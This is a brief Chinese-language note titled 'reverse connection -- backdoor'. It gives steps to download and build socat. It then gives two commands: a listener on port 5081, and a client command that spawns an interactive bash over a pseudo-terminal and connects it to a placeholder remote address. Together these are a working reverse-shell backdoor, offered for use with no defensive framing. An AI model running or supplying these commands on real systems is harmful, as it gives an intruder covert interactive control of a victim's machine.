反向链接--后门

yum install socat
http://www.dest-unreach.org/socat/download/ socat库下载地址
下载 socat-1.7.3.4.tar.gz

./configure 
make
make install 

server端:

socat file:`tty`,raw,echo=0 tcp-listen:5081

client端:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:xx.xx.xx.xx:5081